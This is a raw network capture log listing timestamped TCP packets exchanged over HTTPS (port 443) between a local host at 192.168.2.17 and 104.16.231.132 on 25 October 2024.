Oct 25, 2024 10:17:26.340131044 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340157986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340173006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340207100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340244055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340317011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340357065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340383053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340395927 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340434074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340454102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340503931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340543985 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340572119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340584040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340610027 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340646982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340835094 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340876102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340904951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340917110 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.340944052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.340996981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.341310978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.341350079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.341381073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.341393948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.341418028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.341440916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.341717005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.341758013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.341794014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.341805935 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.341833115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.341867924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342160940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342205048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342231989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342245102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342269897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342289925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342369080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342406988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342432976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342443943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342473984 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342494965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342515945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342556953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342586994 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342605114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342628002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342664957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342776060 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342819929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342864037 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342880964 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.342904091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342981100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.342981100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343008041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343041897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343055010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343107939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343120098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343147039 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343183041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343293905 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343350887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343379021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343391895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343434095 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343483925 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343486071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343509912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343554020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343560934 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343588114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343621016 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343671083 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343751907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343791962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343822002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343835115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343862057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343904018 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.343936920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.343978882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344011068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344023943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344049931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344068050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344410896 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344449997 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344484091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344496012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344526052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344547033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344578028 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344616890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344646931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344659090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344686031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344719887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344765902 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344808102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344829082 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344841003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.344867945 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.344886065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.345093966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.345134020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.345165968 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.345177889 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.345271111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.345753908 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.345793962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.345820904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.345833063 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.345863104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.345882893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.346291065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.346328974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.346369028 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.346388102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.346411943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.346461058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.381524086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.381567001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.381617069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.381637096 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.381659985 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.381764889 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.382006884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.382046938 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.382075071 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.382086992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.382136106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.382136106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.458617926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.458662987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.458705902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.458730936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.458754063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.458796978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.458833933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.458873987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.458904982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.458916903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.458941936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.458961010 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.459422112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.459461927 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.459506035 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.459520102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.459547043 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.459589958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460108042 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460146904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460175991 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460189104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460213900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460256100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460293055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460374117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460385084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460411072 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460448980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460473061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460587025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460624933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460659981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460673094 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460696936 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460740089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460788012 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460828066 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460866928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460880041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.460906982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.460967064 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461021900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461059093 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461091995 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461103916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461128950 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461148024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461281061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461321115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461359024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461375952 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461401939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461440086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461843967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461884022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461913109 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461925030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.461951971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.461971045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462219000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462258101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462295055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462306976 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462332010 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462368011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462480068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462565899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462574959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462590933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462630987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462652922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462775946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462816000 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462846041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462857008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.462887049 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.462903976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463037014 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463076115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463114023 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463125944 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463150024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463181973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463243961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463283062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463326931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463346958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463373899 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463427067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463565111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463639021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463646889 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463670969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463728905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463728905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463841915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463881969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463922977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.463934898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.463967085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.464020014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.464812994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.464852095 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.464886904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.464900017 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.464925051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.464955091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465125084 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465167046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465194941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465208054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465231895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465269089 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465364933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465419054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465455055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465468884 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465497971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465559959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465845108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465887070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465928078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.465951920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.465975046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466089010 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.466130018 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466136932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.466164112 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.466166973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466201067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466242075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466660023 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.466697931 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.466737986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466751099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.466777086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466810942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.466963053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.467001915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.467045069 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.467062950 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.467087030 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.467116117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.500705004 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.500750065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.500790119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.500803947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.500833988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.500850916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.501280069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.501318932 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.501355886 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.501374006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.501396894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.501437902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.579058886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.579116106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.579169035 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.579183102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.579226971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.579226971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.579271078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.579330921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.579344988 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.579360008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.579420090 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.579420090 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.585283041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.585328102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.585359097 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.585381031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.585421085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.585450888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.585731030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.585772038 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.585818052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.585845947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.585875034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.585935116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.585974932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.585983992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586015940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586018085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586018085 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586047888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586097956 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586186886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586226940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586260080 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586285114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:26.586344957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586344957 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:26.586442947 CEST	443	58442	104.16.231.132	192.168.2.17
